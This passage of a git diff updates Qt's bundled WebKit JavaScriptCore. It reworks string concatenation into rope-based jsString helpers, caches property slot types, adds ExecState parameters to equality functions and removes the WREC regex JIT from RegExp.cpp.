         JSValue set = setSlot.getValue(exec, exec->propertyNames().set);
         if (exec->hadException())
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/ObjectPrototype.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/ObjectPrototype.cpp
index 0970b7c..c32a007 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/ObjectPrototype.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/ObjectPrototype.cpp
@@ -24,6 +24,7 @@
 #include "Error.h"
 #include "JSFunction.h"
 #include "JSString.h"
+#include "JSStringBuilder.h"
 #include "PrototypeFunction.h"
 
 namespace JSC {
@@ -148,7 +149,7 @@ JSValue JSC_HOST_CALL objectProtoFuncToLocaleString(ExecState* exec, JSObject*,
 
 JSValue JSC_HOST_CALL objectProtoFuncToString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
-    return jsNontrivialString(exec, "[object " + thisValue.toThisObject(exec)->className() + "]");
+    return jsMakeNontrivialString(exec, "[object ", thisValue.toThisObject(exec)->className(), "]");
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Operations.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Operations.cpp
index 093bbec..cf236bf 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Operations.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Operations.cpp
@@ -29,10 +29,6 @@
 #include <stdio.h>
 #include <wtf/MathExtras.h>
 
-#if HAVE(FLOAT_H)
-#include <float.h>
-#endif
-
 namespace JSC {
 
 bool JSValue::equalSlowCase(ExecState* exec, JSValue v1, JSValue v2)
@@ -40,16 +36,9 @@ bool JSValue::equalSlowCase(ExecState* exec, JSValue v1, JSValue v2)
     return equalSlowCaseInline(exec, v1, v2);
 }
 
-bool JSValue::strictEqualSlowCase(JSValue v1, JSValue v2)
-{
-    return strictEqualSlowCaseInline(v1, v2);
-}
-
-NEVER_INLINE JSValue throwOutOfMemoryError(ExecState* exec)
+bool JSValue::strictEqualSlowCase(ExecState* exec, JSValue v1, JSValue v2)
 {
-    JSObject* error = Error::create(exec, GeneralError, "Out of memory");
-    exec->setException(error);
-    return error;
+    return strictEqualSlowCaseInline(exec, v1, v2);
 }
 
 NEVER_INLINE JSValue jsAddSlowCase(CallFrame* callFrame, JSValue v1, JSValue v2)
@@ -58,12 +47,13 @@ NEVER_INLINE JSValue jsAddSlowCase(CallFrame* callFrame, JSValue v1, JSValue v2)
     JSValue p1 = v1.toPrimitive(callFrame);
     JSValue p2 = v2.toPrimitive(callFrame);
 
-    if (p1.isString() || p2.isString()) {
-        RefPtr<UString::Rep> value = concatenate(p1.toString(callFrame).rep(), p2.toString(callFrame).rep());
-        if (!value)
-            return throwOutOfMemoryError(callFrame);
-        return jsString(callFrame, value.release());
+    if (p1.isString()) {
+        return p2.isString()
+            ? jsString(callFrame, asString(p1), asString(p2))
+            : jsString(callFrame, asString(p1), p2.toString(callFrame));
     }
+    if (p2.isString())
+        return jsString(callFrame, p1.toString(callFrame), asString(p2));
 
     return jsNumber(callFrame, p1.toNumber(callFrame) + p2.toNumber(callFrame));
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Operations.h b/src/3rdparty/webkit/JavaScriptCore/runtime/Operations.h
index 1aa68b3..cc0d603 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Operations.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Operations.h
@@ -22,6 +22,7 @@
 #ifndef Operations_h
 #define Operations_h
 
+#include "ExceptionHelpers.h"
 #include "Interpreter.h"
 #include "JSImmediate.h"
 #include "JSNumberCell.h"
@@ -29,12 +30,176 @@
 
 namespace JSC {
 
-    NEVER_INLINE JSValue throwOutOfMemoryError(ExecState*);
     NEVER_INLINE JSValue jsAddSlowCase(CallFrame*, JSValue, JSValue);
     JSValue jsTypeStringForValue(CallFrame*, JSValue);
     bool jsIsObjectType(JSValue);
     bool jsIsFunctionType(JSValue);
 
+    ALWAYS_INLINE JSValue jsString(ExecState* exec, JSString* s1, JSString* s2)
+    {
+        unsigned length1 = s1->length();
+        if (!length1)
+            return s2;
+        unsigned length2 = s2->length();
+        if (!length2)
+            return s1;
+        if ((length1 + length2) < length1)
+            return throwOutOfMemoryError(exec);
+
+        unsigned fiberCount = s1->fiberCount() + s2->fiberCount();
+        JSGlobalData* globalData = &exec->globalData();
+
+        if (fiberCount <= JSString::s_maxInternalRopeLength)
+            return new (globalData) JSString(globalData, fiberCount, s1, s2);
+
+        JSString::RopeBuilder ropeBuilder(fiberCount);
+        if (UNLIKELY(ropeBuilder.isOutOfMemory()))
+            return throwOutOfMemoryError(exec);
+        ropeBuilder.append(s1);
+        ropeBuilder.append(s2);
+        return new (globalData) JSString(globalData, ropeBuilder.release());
+    }
+
+    ALWAYS_INLINE JSValue jsString(ExecState* exec, const UString& u1, JSString* s2)
+    {
+        unsigned length1 = u1.size();
+        if (!length1)
+            return s2;
+        unsigned length2 = s2->length();
+        if (!length2)
+            return jsString(exec, u1);
+        if ((length1 + length2) < length1)
+            return throwOutOfMemoryError(exec);
+
+        unsigned fiberCount = 1 + s2->fiberCount();
+        JSGlobalData* globalData = &exec->globalData();
+
+        if (fiberCount <= JSString::s_maxInternalRopeLength)
+            return new (globalData) JSString(globalData, fiberCount, u1, s2);
+
+        JSString::RopeBuilder ropeBuilder(fiberCount);
+        if (UNLIKELY(ropeBuilder.isOutOfMemory()))
+            return throwOutOfMemoryError(exec);
+        ropeBuilder.append(u1);
+        ropeBuilder.append(s2);
+        return new (globalData) JSString(globalData, ropeBuilder.release());
+    }
+
+    ALWAYS_INLINE JSValue jsString(ExecState* exec, JSString* s1, const UString& u2)
+    {
+        unsigned length1 = s1->length();
+        if (!length1)
+            return jsString(exec, u2);
+        unsigned length2 = u2.size();
+        if (!length2)
+            return s1;
+        if ((length1 + length2) < length1)
+            return throwOutOfMemoryError(exec);
+
+        unsigned fiberCount = s1->fiberCount() + 1;
+        JSGlobalData* globalData = &exec->globalData();
+
+        if (fiberCount <= JSString::s_maxInternalRopeLength)
+            return new (globalData) JSString(globalData, fiberCount, s1, u2);
+
+        JSString::RopeBuilder ropeBuilder(fiberCount);
+        if (UNLIKELY(ropeBuilder.isOutOfMemory()))
+            return throwOutOfMemoryError(exec);
+        ropeBuilder.append(s1);
+        ropeBuilder.append(u2);
+        return new (globalData) JSString(globalData, ropeBuilder.release());
+    }
+
+    ALWAYS_INLINE JSValue jsString(ExecState* exec, Register* strings, unsigned count)
+    {
+        ASSERT(count >= 3);
+
+        unsigned fiberCount = 0;
+        for (unsigned i = 0; i < count; ++i) {
+            JSValue v = strings[i].jsValue();
+            if (LIKELY(v.isString()))
+                fiberCount += asString(v)->fiberCount();
+            else
+                ++fiberCount;
+        }
+
+        JSGlobalData* globalData = &exec->globalData();
+        if (fiberCount == 3)
+            return new (globalData) JSString(exec, strings[0].jsValue(), strings[1].jsValue(), strings[2].jsValue());
+
+        JSString::RopeBuilder ropeBuilder(fiberCount);
+        if (UNLIKELY(ropeBuilder.isOutOfMemory()))
+            return throwOutOfMemoryError(exec);
+
+        unsigned length = 0;
+        bool overflow = false;
+
+        for (unsigned i = 0; i < count; ++i) {
+            JSValue v = strings[i].jsValue();
+            if (LIKELY(v.isString()))
+                ropeBuilder.append(asString(v));
+            else
+                ropeBuilder.append(v.toString(exec));
+
+            unsigned newLength = ropeBuilder.length();
+            if (newLength < length)
+                overflow = true;
+            length = newLength;
+        }
+
+        if (overflow)
+            return throwOutOfMemoryError(exec);
+
+        return new (globalData) JSString(globalData, ropeBuilder.release());
+    }
+
+    ALWAYS_INLINE JSValue jsString(ExecState* exec, JSValue thisValue, const ArgList& args)
+    {
+        unsigned fiberCount = 0;
+        if (LIKELY(thisValue.isString()))
+            fiberCount += asString(thisValue)->fiberCount();
+        else
+            ++fiberCount;
+        for (unsigned i = 0; i < args.size(); ++i) {
+            JSValue v = args.at(i);
+            if (LIKELY(v.isString()))
+                fiberCount += asString(v)->fiberCount();
+            else
+                ++fiberCount;
+        }
+
+        JSString::RopeBuilder ropeBuilder(fiberCount);
+        if (UNLIKELY(ropeBuilder.isOutOfMemory()))
+            return throwOutOfMemoryError(exec);
+
+        if (LIKELY(thisValue.isString()))
+            ropeBuilder.append(asString(thisValue));
+        else
+            ropeBuilder.append(thisValue.toString(exec));
+
+        unsigned length = 0;
+        bool overflow = false;
+
+        for (unsigned i = 0; i < args.size(); ++i) {
+            JSValue v = args.at(i);
+            if (LIKELY(v.isString()))
+                ropeBuilder.append(asString(v));
+            else
+                ropeBuilder.append(v.toString(exec));
+
+            unsigned newLength = ropeBuilder.length();
+            if (newLength < length)
+                overflow = true;
+            length = newLength;
+        }
+
+        if (overflow)
+            return throwOutOfMemoryError(exec);
+
+        JSGlobalData* globalData = &exec->globalData();
+        return new (globalData) JSString(globalData, ropeBuilder.release());
+    }
+
     // ECMA 11.9.3
     inline bool JSValue::equal(ExecState* exec, JSValue v1, JSValue v2)
     {
@@ -53,7 +218,7 @@ namespace JSC {
             bool s1 = v1.isString();
             bool s2 = v2.isString();
             if (s1 && s2)
-                return asString(v1)->value() == asString(v2)->value();
+                return asString(v1)->value(exec) == asString(v2)->value(exec);
 
             if (v1.isUndefinedOrNull()) {
                 if (v2.isUndefinedOrNull())
@@ -110,17 +275,17 @@ namespace JSC {
     }
 
     // ECMA 11.9.3
-    ALWAYS_INLINE bool JSValue::strictEqualSlowCaseInline(JSValue v1, JSValue v2)
+    ALWAYS_INLINE bool JSValue::strictEqualSlowCaseInline(ExecState* exec, JSValue v1, JSValue v2)
     {
         ASSERT(v1.isCell() && v2.isCell());
 
         if (v1.asCell()->isString() && v2.asCell()->isString())
-            return asString(v1)->value() == asString(v2)->value();
+            return asString(v1)->value(exec) == asString(v2)->value(exec);
 
         return v1 == v2;
     }
 
-    inline bool JSValue::strictEqual(JSValue v1, JSValue v2)
+    inline bool JSValue::strictEqual(ExecState* exec, JSValue v1, JSValue v2)
     {
         if (v1.isInt32() && v2.isInt32())
             return v1 == v2;
@@ -131,10 +296,10 @@ namespace JSC {
         if (!v1.isCell() || !v2.isCell())
             return v1 == v2;
 
-        return strictEqualSlowCaseInline(v1, v2);
+        return strictEqualSlowCaseInline(exec, v1, v2);
     }
 
-    inline bool jsLess(CallFrame* callFrame, JSValue v1, JSValue v2)
+    ALWAYS_INLINE bool jsLess(CallFrame* callFrame, JSValue v1, JSValue v2)
     {
         if (v1.isInt32() && v2.isInt32())
             return v1.asInt32() < v2.asInt32();
@@ -146,7 +311,7 @@ namespace JSC {
 
         JSGlobalData* globalData = &callFrame->globalData();
         if (isJSString(globalData, v1) && isJSString(globalData, v2))
-            return asString(v1)->value() < asString(v2)->value();
+            return asString(v1)->value(callFrame) < asString(v2)->value(callFrame);
 
         JSValue p1;
         JSValue p2;
@@ -156,7 +321,7 @@ namespace JSC {
         if (wasNotString1 | wasNotString2)
             return n1 < n2;
 
-        return asString(p1)->value() < asString(p2)->value();
+        return asString(p1)->value(callFrame) < asString(p2)->value(callFrame);
     }
 
     inline bool jsLessEq(CallFrame* callFrame, JSValue v1, JSValue v2)
@@ -171,7 +336,7 @@ namespace JSC {
 
         JSGlobalData* globalData = &callFrame->globalData();
         if (isJSString(globalData, v1) && isJSString(globalData, v2))
-            return !(asString(v2)->value() < asString(v1)->value());
+            return !(asString(v2)->value(callFrame) < asString(v1)->value(callFrame));
 
         JSValue p1;
         JSValue p2;
@@ -181,7 +346,7 @@ namespace JSC {
         if (wasNotString1 | wasNotString2)
             return n1 <= n2;
 
-        return !(asString(p2)->value() < asString(p1)->value());
+        return !(asString(p2)->value(callFrame) < asString(p1)->value(callFrame));
     }
 
     // Fast-path choices here are based on frequency data from SunSpider:
@@ -195,36 +360,21 @@ namespace JSC {
 
     ALWAYS_INLINE JSValue jsAdd(CallFrame* callFrame, JSValue v1, JSValue v2)
     {
-        double left;
-        double right = 0.0;
-
-        bool rightIsNumber = v2.getNumber(right);
-        if (rightIsNumber && v1.getNumber(left))
+        double left = 0.0, right;
+        if (v1.getNumber(left) && v2.getNumber(right))
             return jsNumber(callFrame, left + right);
         
-        bool leftIsString = v1.isString();
-        if (leftIsString && v2.isString()) {
-            RefPtr<UString::Rep> value = concatenate(asString(v1)->value().rep(), asString(v2)->value().rep());
-            if (!value)
-                return throwOutOfMemoryError(callFrame);
-            return jsString(callFrame, value.release());
-        }
-
-        if (rightIsNumber & leftIsString) {
-            RefPtr<UString::Rep> value = v2.isInt32() ?
-                concatenate(asString(v1)->value().rep(), v2.asInt32()) :
-                concatenate(asString(v1)->value().rep(), right);
-
-            if (!value)
-                return throwOutOfMemoryError(callFrame);
-            return jsString(callFrame, value.release());
+        if (v1.isString()) {
+            return v2.isString()
+                ? jsString(callFrame, asString(v1), asString(v2))
+                : jsString(callFrame, asString(v1), v2.toPrimitiveString(callFrame));
         }
 
         // All other cases are pretty uncommon
         return jsAddSlowCase(callFrame, v1, v2);
     }
 
-    inline size_t normalizePrototypeChain(CallFrame* callFrame, JSValue base, JSValue slotBase)
+    inline size_t normalizePrototypeChain(CallFrame* callFrame, JSValue base, JSValue slotBase, const Identifier& propertyName, size_t& slotOffset)
     {
         JSCell* cell = asCell(base);
         size_t count = 0;
@@ -242,8 +392,11 @@ namespace JSC {
 
             // Since we're accessing a prototype in a loop, it's a good bet that it
             // should not be treated as a dictionary.
-            if (cell->structure()->isDictionary())
-                asObject(cell)->setStructure(Structure::fromDictionaryTransition(cell->structure()));
+            if (cell->structure()->isDictionary()) {
+                asObject(cell)->flattenDictionaryObject();
+                if (slotBase == cell)
+                    slotOffset = cell->structure()->get(propertyName); 
+            }
 
             ++count;
         }
@@ -265,7 +418,7 @@ namespace JSC {
             // Since we're accessing a prototype in a loop, it's a good bet that it
             // should not be treated as a dictionary.
             if (base->structure()->isDictionary())
-                asObject(base)->setStructure(Structure::fromDictionaryTransition(base->structure()));
+                asObject(base)->flattenDictionaryObject();
 
             ++count;
         }
@@ -293,52 +446,6 @@ namespace JSC {
         ASSERT_NOT_REACHED();
         return JSValue();
     }
-
-    ALWAYS_INLINE JSValue concatenateStrings(CallFrame* callFrame, Register* strings, unsigned count)
-    {
-        ASSERT(count >= 3);
-
-        // Estimate the amount of space required to hold the entire string.  If all
-        // arguments are strings, we can easily calculate the exact amount of space
-        // required.  For any other arguments, for now let's assume they may require
-        // 11 UChars of storage.  This is enouch to hold any int, and likely is also
-        // reasonable for the other immediates.  We may want to come back and tune
-        // this value at some point.
-        unsigned bufferSize = 0;
-        for (unsigned i = 0; i < count; ++i) {
-            JSValue v = strings[i].jsValue();
-            if (LIKELY(v.isString()))
-                bufferSize += asString(v)->value().size();
-            else
-                bufferSize += 11;
-        }
-
-        // Allocate an output string to store the result.
-        // If the first argument is a String, and if it has the capacity (or can grow
-        // its capacity) to hold the entire result then use this as a base to concatenate
-        // onto.  Otherwise, allocate a new empty output buffer.
-        JSValue firstValue = strings[0].jsValue();
-        RefPtr<UString::Rep> resultRep;
-        if (firstValue.isString() && (resultRep = asString(firstValue)->value().rep())->reserveCapacity(bufferSize)) {
-            // We're going to concatenate onto the first string - remove it from the list of items to be appended.
-            ++strings;
-            --count;
-        } else
-            resultRep = UString::Rep::createEmptyBuffer(bufferSize);
-        UString result(resultRep);
-
-        // Loop over the operands, writing them into the output buffer.
-        for (unsigned i = 0; i < count; ++i) {
-            JSValue v = strings[i].jsValue();
-            if (LIKELY(v.isString()))
-                result.append(asString(v)->value());
-            else
-                result.append(v.toString(callFrame));
-        }
-
-        return jsString(callFrame, result);
-    }
-
 } // namespace JSC
 
 #endif // Operations_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyDescriptor.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyDescriptor.cpp
index 4db814f..558ae28 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyDescriptor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyDescriptor.cpp
@@ -153,15 +153,15 @@ void PropertyDescriptor::setGetter(JSValue getter)
     m_attributes &= ~ReadOnly;
 }
 
-bool PropertyDescriptor::equalTo(const PropertyDescriptor& other) const
+bool PropertyDescriptor::equalTo(ExecState* exec, const PropertyDescriptor& other) const
 {
     if (!other.m_value == m_value ||
         !other.m_getter == m_getter ||
         !other.m_setter == m_setter)
         return false;
-    return (!m_value || JSValue::strictEqual(other.m_value, m_value)) && 
-           (!m_getter || JSValue::strictEqual(other.m_getter, m_getter)) && 
-           (!m_setter || JSValue::strictEqual(other.m_setter, m_setter)) &&
+    return (!m_value || JSValue::strictEqual(exec, other.m_value, m_value)) && 
+           (!m_getter || JSValue::strictEqual(exec, other.m_getter, m_getter)) && 
+           (!m_setter || JSValue::strictEqual(exec, other.m_setter, m_setter)) &&
            attributesEqual(other);
 }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyDescriptor.h b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyDescriptor.h
index 40bec86..ff9f160 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyDescriptor.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyDescriptor.h
@@ -61,7 +61,7 @@ namespace JSC {
         bool configurablePresent() const { return m_seenAttributes & ConfigurablePresent; }
         bool setterPresent() const { return m_setter; }
         bool getterPresent() const { return m_getter; }
-        bool equalTo(const PropertyDescriptor& other) const;
+        bool equalTo(ExecState* exec, const PropertyDescriptor& other) const;
         bool attributesEqual(const PropertyDescriptor& other) const;
         unsigned attributesWithOverride(const PropertyDescriptor& other) const;
     private:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyMapHashTable.h b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyMapHashTable.h
index 5b63f79..44dc2b8 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyMapHashTable.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyMapHashTable.h
@@ -61,7 +61,6 @@ namespace JSC {
         unsigned size;
         unsigned keyCount;
         unsigned deletedSentinelCount;
-        unsigned anonymousSlotCount;
         unsigned lastIndexUsed;
         Vector<unsigned>* deletedOffsets;
         unsigned entryIndices[1];
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyNameArray.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyNameArray.cpp
index c28b6a4..6b24669 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyNameArray.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertyNameArray.cpp
@@ -30,7 +30,7 @@ static const size_t setThreshold = 20;
 
 void PropertyNameArray::add(UString::Rep* identifier)
 {
-    ASSERT(identifier == &UString::Rep::null() || identifier == &UString::Rep::empty() || identifier->identifierTable());
+    ASSERT(identifier == UString::null().rep() || identifier == UString::Rep::empty() || identifier->isIdentifier());
 
     size_t size = m_data->propertyNameVector().size();
     if (size < setThreshold) {
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertySlot.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertySlot.cpp
index a0a2f48..2306a11 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertySlot.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertySlot.cpp
@@ -26,19 +26,19 @@
 
 namespace JSC {
 
-JSValue PropertySlot::functionGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue PropertySlot::functionGetter(ExecState* exec) const
 {
     // Prevent getter functions from observing execution if an exception is pending.
     if (exec->hadException())
         return exec->exception();
 
     CallData callData;
-    CallType callType = slot.m_data.getterFunc->getCallData(callData);
+    CallType callType = m_data.getterFunc->getCallData(callData);
     if (callType == CallTypeHost)
-        return callData.native.function(exec, slot.m_data.getterFunc, slot.slotBase(), exec->emptyList());
+        return callData.native.function(exec, m_data.getterFunc, thisValue(), exec->emptyList());
     ASSERT(callType == CallTypeJS);
     // FIXME: Can this be done more efficiently using the callData?
-    return asFunction(slot.m_data.getterFunc)->call(exec, slot.slotBase(), exec->emptyList());
+    return asFunction(m_data.getterFunc)->call(exec, thisValue(), exec->emptyList());
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertySlot.h b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertySlot.h
index 15d9034..de9ddc9 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/PropertySlot.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/PropertySlot.h
@@ -34,10 +34,20 @@ namespace JSC {
 
 #define JSC_VALUE_SLOT_MARKER 0
 #define JSC_REGISTER_SLOT_MARKER reinterpret_cast<GetValueFunc>(1)
+#define INDEX_GETTER_MARKER reinterpret_cast<GetValueFunc>(2)
+#define GETTER_FUNCTION_MARKER reinterpret_cast<GetValueFunc>(3)
 
     class PropertySlot {
     public:
+        enum CachedPropertyType {
+            Uncacheable,
+            Getter,
+            Custom,
+            Value
+        };
+
         PropertySlot()
+            : m_cachedPropertyType(Uncacheable)
         {
             clearBase();
             clearOffset();
@@ -46,12 +56,14 @@ namespace JSC {
 
         explicit PropertySlot(const JSValue base)
             : m_slotBase(base)
+            , m_cachedPropertyType(Uncacheable)
         {
             clearOffset();
             clearValue();
         }
 
-        typedef JSValue (*GetValueFunc)(ExecState*, const Identifier&, const PropertySlot&);
+        typedef JSValue (*GetValueFunc)(ExecState*, JSValue slotBase, const Identifier&);
+        typedef JSValue (*GetIndexValueFunc)(ExecState*, JSValue slotBase, unsigned);
 
         JSValue getValue(ExecState* exec, const Identifier& propertyName) const
         {
@@ -59,7 +71,11 @@ namespace JSC {
                 return *m_data.valueSlot;
             if (m_getValue == JSC_REGISTER_SLOT_MARKER)
                 return (*m_data.registerSlot).jsValue();
-            return m_getValue(exec, propertyName, *this);
+            if (m_getValue == INDEX_GETTER_MARKER)
+                return m_getIndexValue(exec, slotBase(), index());
+            if (m_getValue == GETTER_FUNCTION_MARKER)
+                return functionGetter(exec);
+            return m_getValue(exec, slotBase(), propertyName);
         }
 
         JSValue getValue(ExecState* exec, unsigned propertyName) const
@@ -68,10 +84,16 @@ namespace JSC {
                 return *m_data.valueSlot;
             if (m_getValue == JSC_REGISTER_SLOT_MARKER)
                 return (*m_data.registerSlot).jsValue();
-            return m_getValue(exec, Identifier::from(exec, propertyName), *this);
+            if (m_getValue == INDEX_GETTER_MARKER)
+                return m_getIndexValue(exec, m_slotBase, m_data.index);
+            if (m_getValue == GETTER_FUNCTION_MARKER)
+                return functionGetter(exec);
+            return m_getValue(exec, slotBase(), Identifier::from(exec, propertyName));
         }
 
-        bool isCacheable() const { return m_offset != WTF::notFound; }
+        CachedPropertyType cachedPropertyType() const { return m_cachedPropertyType; }
+        bool isCacheable() const { return m_cachedPropertyType != Uncacheable; }
+        bool isCacheableValue() const { return m_cachedPropertyType == Value; }
         size_t cachedOffset() const
         {
             ASSERT(isCacheable());
@@ -102,6 +124,7 @@ namespace JSC {
             m_slotBase = slotBase;
             m_data.valueSlot = valueSlot;
             m_offset = offset;
+            m_cachedPropertyType = Value;
         }
         
         void setValue(JSValue value)
@@ -128,25 +151,49 @@ namespace JSC {
             ASSERT(slotBase);
             ASSERT(getValue);
             m_getValue = getValue;
+            m_getIndexValue = 0;
             m_slotBase = slotBase;
         }
-
-        void setCustomIndex(JSValue slotBase, unsigned index, GetValueFunc getValue)
+        
+        void setCacheableCustom(JSValue slotBase, GetValueFunc getValue)
         {
             ASSERT(slotBase);
             ASSERT(getValue);
             m_getValue = getValue;
+            m_getIndexValue = 0;
+            m_slotBase = slotBase;
+            m_cachedPropertyType = Custom;
+        }
+
+        void setCustomIndex(JSValue slotBase, unsigned index, GetIndexValueFunc getIndexValue)
+        {
+            ASSERT(slotBase);
+            ASSERT(getIndexValue);
+            m_getValue = INDEX_GETTER_MARKER;
+            m_getIndexValue = getIndexValue;
             m_slotBase = slotBase;
             m_data.index = index;
         }
-        
+
         void setGetterSlot(JSObject* getterFunc)
         {
             ASSERT(getterFunc);
-            m_getValue = functionGetter;
+            m_thisValue = m_slotBase;
+            m_getValue = GETTER_FUNCTION_MARKER;
             m_data.getterFunc = getterFunc;
         }
-        
+
+        void setCacheableGetterSlot(JSValue slotBase, JSObject* getterFunc, unsigned offset)
+        {
+            ASSERT(getterFunc);
+            m_getValue = GETTER_FUNCTION_MARKER;
+            m_thisValue = m_slotBase;
+            m_slotBase = slotBase;
+            m_data.getterFunc = getterFunc;
+            m_offset = offset;
+            m_cachedPropertyType = Getter;
+        }
+
         void setUndefined()
         {
             setValue(jsUndefined());
@@ -182,15 +229,24 @@ namespace JSC {
         {
             // Clear offset even in release builds, in case this PropertySlot has been used before.
             // (For other data members, we don't need to clear anything because reuse would meaningfully overwrite them.)
-            m_offset = WTF::notFound;
+            m_offset = 0;
+            m_cachedPropertyType = Uncacheable;
         }
 
         unsigned index() const { return m_data.index; }
 
+        JSValue thisValue() const { return m_thisValue; }
+
+        GetValueFunc customGetter() const
+        {
+            ASSERT(m_cachedPropertyType == Custom);
+            return m_getValue;
+        }
     private:
-        static JSValue functionGetter(ExecState*, const Identifier&, const PropertySlot&);
+        JSValue functionGetter(ExecState*) const;
 
         GetValueFunc m_getValue;
+        GetIndexValueFunc m_getIndexValue;
         
         JSValue m_slotBase;
         union {
@@ -201,8 +257,10 @@ namespace JSC {
         } m_data;
 
         JSValue m_value;
+        JSValue m_thisValue;
 
         size_t m_offset;
+        CachedPropertyType m_cachedPropertyType;
     };
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExp.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExp.cpp
index 7dd4a8f..f097943 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExp.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExp.cpp
@@ -40,20 +40,12 @@
 
 #else
 
-#if ENABLE(WREC)
-#include "JIT.h"
-#include "WRECGenerator.h"
-#endif
 #include <pcre/pcre.h>
 
 #endif
 
 namespace JSC {
 
-#if ENABLE(WREC)
-using namespace WREC;
-#endif
-
 inline RegExp::RegExp(JSGlobalData* globalData, const UString& pattern)
     : m_pattern(pattern)
     , m_flagBits(0)
@@ -65,18 +57,17 @@ inline RegExp::RegExp(JSGlobalData* globalData, const UString& pattern)
 
 inline RegExp::RegExp(JSGlobalData* globalData, const UString& pattern, const UString& flags)
     : m_pattern(pattern)
-    , m_flags(flags)
     , m_flagBits(0)
     , m_constructionError(0)
     , m_numSubpatterns(0)
 {
     // NOTE: The global flag is handled on a case-by-case basis by functions like
     // String::match and RegExpObject::match.
-    if (flags.find('g') != -1)
+    if (flags.find('g') != UString::NotFound)
         m_flagBits |= Global;
-    if (flags.find('i') != -1)
+    if (flags.find('i') != UString::NotFound)
         m_flagBits |= IgnoreCase;
-    if (flags.find('m') != -1)
+    if (flags.find('m') != UString::NotFound)
         m_flagBits |= Multiline;
 
     compile(globalData);
@@ -118,7 +109,7 @@ int RegExp::match(const UString& s, int startOffset, Vector<int, 32>* ovector)
     if (ovector)
         ovector->clear();
 
-    if (startOffset > s.size() || s.isNull())
+    if (static_cast<unsigned>(startOffset) > s.size() || s.isNull())
         return -1;
 
 #if ENABLE(YARR_JIT)
@@ -165,18 +156,9 @@ int RegExp::match(const UString& s, int startOffset, Vector<int, 32>* ovector)
 
 #else
 
-void RegExp::compile(JSGlobalData* globalData)
+void RegExp::compile(JSGlobalData*)
 {
     m_regExp = 0;
-#if ENABLE(WREC)
-    m_wrecFunction = Generator::compileRegExp(globalData, m_pattern, &m_numSubpatterns, &m_constructionError, m_executablePool, ignoreCase(), multiline());
-    if (m_wrecFunction || m_constructionError)
-        return;
-    // Fall through to non-WREC case.
-#else
-    UNUSED_PARAM(globalData);
-#endif
-
     JSRegExpIgnoreCaseOption ignoreCaseOption = ignoreCase() ? JSRegExpIgnoreCase : JSRegExpDoNotIgnoreCase;
     JSRegExpMultilineOption multilineOption = multiline() ? JSRegExpMultiline : JSRegExpSingleLine;
     m_regExp = jsRegExpCompile(reinterpret_cast<const UChar*>(m_pattern.data()), m_pattern.size(), ignoreCaseOption, multilineOption, &m_numSubpatterns, &m_constructionError);
@@ -189,39 +171,9 @@ int RegExp::match(const UString& s, int startOffset, Vector<int, 32>* ovector)
     if (ovector)
         ovector->clear();
 
-    if (startOffset > s.size() || s.isNull())
+    if (static_cast<unsigned>(startOffset) > s.size() || s.isNull())
         return -1;
 
-#if ENABLE(WREC)
-    if (m_wrecFunction) {
-        int offsetVectorSize = (m_numSubpatterns + 1) * 2;
-        int* offsetVector;
-        Vector<int, 32> nonReturnedOvector;
-        if (ovector) {
-            ovector->resize(offsetVectorSize);
-            offsetVector = ovector->data();
-        } else {
-            nonReturnedOvector.resize(offsetVectorSize);
-            offsetVector = nonReturnedOvector.data();
-        }
-        ASSERT(offsetVector);
-        for (int j = 0; j < offsetVectorSize; ++j)
-            offsetVector[j] = -1;
-
-        int result = m_wrecFunction(s.data(), startOffset, s.size(), offsetVector);
-
-        if (result < 0) {
-#ifndef NDEBUG
-            // TODO: define up a symbol, rather than magic -1
-            if (result != -1)
-                fprintf(stderr, "jsRegExpExecute failed with result %d\n", result);
-#endif
-            if (ovector)
-                ovector->clear();
-        }
-        return result;
-    } else
-#endif
     if (m_regExp) {
         // Set up the offset vector for the result.
         // First 2/3 used for result, the last third used by PCRE.
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/RegExp.h b/src/3rdparty/webkit/JavaScriptCore/runtime/RegExp.h
index 24d4199..695b688 100644
